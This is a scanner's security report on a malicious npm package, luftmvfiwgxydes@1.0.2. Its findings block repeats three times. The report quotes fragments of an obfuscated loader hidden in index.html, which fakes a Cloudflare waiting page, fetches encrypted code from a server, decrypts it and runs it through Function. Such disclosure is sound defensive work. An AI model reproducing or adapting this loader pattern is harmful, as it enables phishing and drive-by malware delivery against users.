luftmvfiwgxydes@1.0.2: Malicious npm security report (Block)

Loading npm security reports…

luftmvfiwgxydes@1.0.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

9 flagged

182} L183: (function(_0x542c9d,_0x51de4a){const _0x4bfa8c={_0x29d2ff:0x114,_0x1106ec:0x1dc,_0x29d70a:0x17d,_0x29c3ee:0x1e7,_0x496e63:0x1a2,_0x349e92:0x19d,_0x38097e:0x12f,_0x4d1be0:0x124,_0x4...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html copies Cloudflare's Just a moment waiting page and loads the real Turnstile script.

index.htmlView on unpkg · L7

183(function(_0x542c9d,_0x51de4a){const _0x4bfa8c={_0x29d2ff:0x114,_0x1106ec:0x1dc,_0x29d70a:0x17d,_0x29c3ee:0x1e7,_0x496e63:0x1a2,_0x349e92:0x19d,_0x38097e:0x12f,_0x4d1be0:0x124,_0x4c5de2:0x571,_0x47d2a1:0x522,_0x3e0a31:0x52c,_0x3b1c8c:0x241,_0xffcf17:0x1f9,_0x1a8e83:0x2ba,_0x5e000f:0x2ca,_0x2e0a70:0x5b0,_0x21e0ce:0x59d,_0x24d2c0:0x552,_0x1f38cf:0x581,_0x1b0adb:0x5b4,_0x3459ab:0x564,_0x38610c:0x16a,_0xdfbc6e:0x15f,_0x1897bc:0x132,_0x48b98b:0x641,_0x23a58d:0x5f0,_0x8c3757:0x5dc,_0x595cd6:0x5b7,_0x4e0f5b:0x297,_0xda76a5:0x2aa}

High

Ai Review Evidence

A large obfuscated inline script rebuilds hidden strings, a host key, and a fake challenge layout as soon as the page runs.

index.htmlView on unpkg · L183

183const _0x3a8e8e={};_0x3a8e8e['key']=hostKey;const _0x4b5f97=await _0x3c5b94[_0x3320d1(_0x1a4c7b._0x24c259,0xb0,_0x1a4c7b._0x31d624,_0x1a4c7b._0x4ef31f)](fetch,_0x3c5b94[_0x3320d1(0x1ba,_0x1a4c7b._0x2b2cf2,_0x1a4c7b._0x2db07a,_0x1a4c7b._0x370633)],{'method':_0x3320d1(_0x1a4c7b._0x4d4bdc,_0x1a4c7b._0x111862,_0x1a4c7b._0x1969af,_0x1a4c7b._0x6c17f9),'headers':_0x23aaa6,'body':JSON[_0x507189(0x2f6,0x333,_0x1a4c7b._0x3236ca,_0x1a4c7b._0x3a8757)](_0x3a8e8e)})

High

Ai Review Evidence

That script posts the host key with fetch, decrypts the JSON reply with a baked-in AES key, and runs reconstructed JavaScript through Function.

index.htmlView on unpkg · L183

183const _0x44ccb3=await crypto[_0x3320d1(_0x1a4c7b._0x1613ec,_0x1a4c7b._0x43c697,0x7d,_0x1a4c7b._0x9e8f82)]['importKey']('raw',_0x3c5b94['NOTFk'](decodeBase64,aesKeyBase64),{'name':_0x3c5b94['koQPv']},![],[_0x3c5b94[_0x3320d1(_0x1a4c7b._0x41bfe2,-_0x1a4c7b._0x4b1b22,_0x1a4c7b._0x5f5cd4,0x50)]])

High

Ai Review Evidence

That script posts the host key with fetch, decrypts the JSON reply with a baked-in AES key, and runs reconstructed JavaScript through Function.

index.htmlView on unpkg · L183

183try{_0x65cf63=_0x19099b[_0xb84d94(_0x5e93cc._0x513176,_0x5e93cc._0x2c5dc0,_0x5e93cc._0x58a936,_0x5e93cc._0x4f04c6)](Function,_0x19099b[_0xc4acdb(0x159,_0x5e93cc._0x54779a,0x13c,0x178)](_0xc4acdb(_0x5e93cc._0x1c5e64,_0x5e93cc._0x84fbcf,_0x5e93cc._0x1b9fe1,0xb1)+_0xc4acdb(_0x5e93cc._0x3f0782,_0x5e93cc._0x5d35cb,_0x5e93cc._0x41687d,_0x5e93cc._0x41a118),_0x19099b[_0xc4acdb(_0x5e93cc._0x520ced,0x174,_0x5e93cc._0x1f7d6a,_0x5e93cc._0x45af64)])+');')();}

High

Ai Review Evidence

That script posts the host key with fetch, decrypts the JSON reply with a baked-in AES key, and runs reconstructed JavaScript through Function.

index.htmlView on unpkg · L183

178function onTurnstileComplete(token) { if (window.__challengeRedirect) { window.__challengeRedirect(); } }

High

Ai Review Evidence

Completing Turnstile calls window.__challengeRedirect, which the hidden loader defines.

index.htmlView on unpkg · L178

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.2", "main": "index.html", "files": [ "index.html" ] }

High

Ai Review Evidence

package.json publishes a random-looking name, sets main to index.html, and has no install scripts.

package.jsonView on unpkg · L1

Source & flagged code

9 flagged · loading source

index.htmlView file

182} L183: (function(_0x542c9d,_0x51de4a){const _0x4bfa8c={_0x29d2ff:0x114,_0x1106ec:0x1dc,_0x29d70a:0x17d,_0x29c3ee:0x1e7,_0x496e63:0x1a2,_0x349e92:0x19d,_0x38097e:0x12f,_0x4d1be0:0x124,_0x4...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html copies Cloudflare's Just a moment waiting page and loads the real Turnstile script.

index.htmlView on unpkg · L7

High

Ai Review Evidence

A large obfuscated inline script rebuilds hidden strings, a host key, and a fake challenge layout as soon as the page runs.

index.htmlView on unpkg · L183

High

Ai Review Evidence

That script posts the host key with fetch, decrypts the JSON reply with a baked-in AES key, and runs reconstructed JavaScript through Function.

index.htmlView on unpkg · L183

High

Ai Review Evidence

That script posts the host key with fetch, decrypts the JSON reply with a baked-in AES key, and runs reconstructed JavaScript through Function.

index.htmlView on unpkg · L183

High

Ai Review Evidence

That script posts the host key with fetch, decrypts the JSON reply with a baked-in AES key, and runs reconstructed JavaScript through Function.

index.htmlView on unpkg · L183

178function onTurnstileComplete(token) { if (window.__challengeRedirect) { window.__challengeRedirect(); } }

High

Ai Review Evidence

Completing Turnstile calls window.__challengeRedirect, which the hidden loader defines.

index.htmlView on unpkg · L178

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.2", "main": "index.html", "files": [ "index.html" ] }

High

Ai Review Evidence

package.json publishes a random-looking name, sets main to index.html, and has no install scripts.

package.jsonView on unpkg · L1

Source & flagged code

9 flagged

index.htmlView file

182} L183: (function(_0x542c9d,_0x51de4a){const _0x4bfa8c={_0x29d2ff:0x114,_0x1106ec:0x1dc,_0x29d70a:0x17d,_0x29c3ee:0x1e7,_0x496e63:0x1a2,_0x349e92:0x19d,_0x38097e:0x12f,_0x4d1be0:0x124,_0x4...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html copies Cloudflare's Just a moment waiting page and loads the real Turnstile script.

index.htmlView on unpkg · L7

High

Ai Review Evidence

A large obfuscated inline script rebuilds hidden strings, a host key, and a fake challenge layout as soon as the page runs.

index.htmlView on unpkg · L183

High

Ai Review Evidence

That script posts the host key with fetch, decrypts the JSON reply with a baked-in AES key, and runs reconstructed JavaScript through Function.

index.htmlView on unpkg · L183

High

Ai Review Evidence

That script posts the host key with fetch, decrypts the JSON reply with a baked-in AES key, and runs reconstructed JavaScript through Function.

index.htmlView on unpkg · L183

High

Ai Review Evidence

That script posts the host key with fetch, decrypts the JSON reply with a baked-in AES key, and runs reconstructed JavaScript through Function.

index.htmlView on unpkg · L183

178function onTurnstileComplete(token) { if (window.__challengeRedirect) { window.__challengeRedirect(); } }

High

Ai Review Evidence

Completing Turnstile calls window.__challengeRedirect, which the hidden loader defines.

index.htmlView on unpkg · L178

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.2", "main": "index.html", "files": [ "index.html" ] }

High

Ai Review Evidence

package.json publishes a random-looking name, sets main to index.html, and has no install scripts.

package.jsonView on unpkg · L1

luftmvfiwgxydes@1.0.2

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code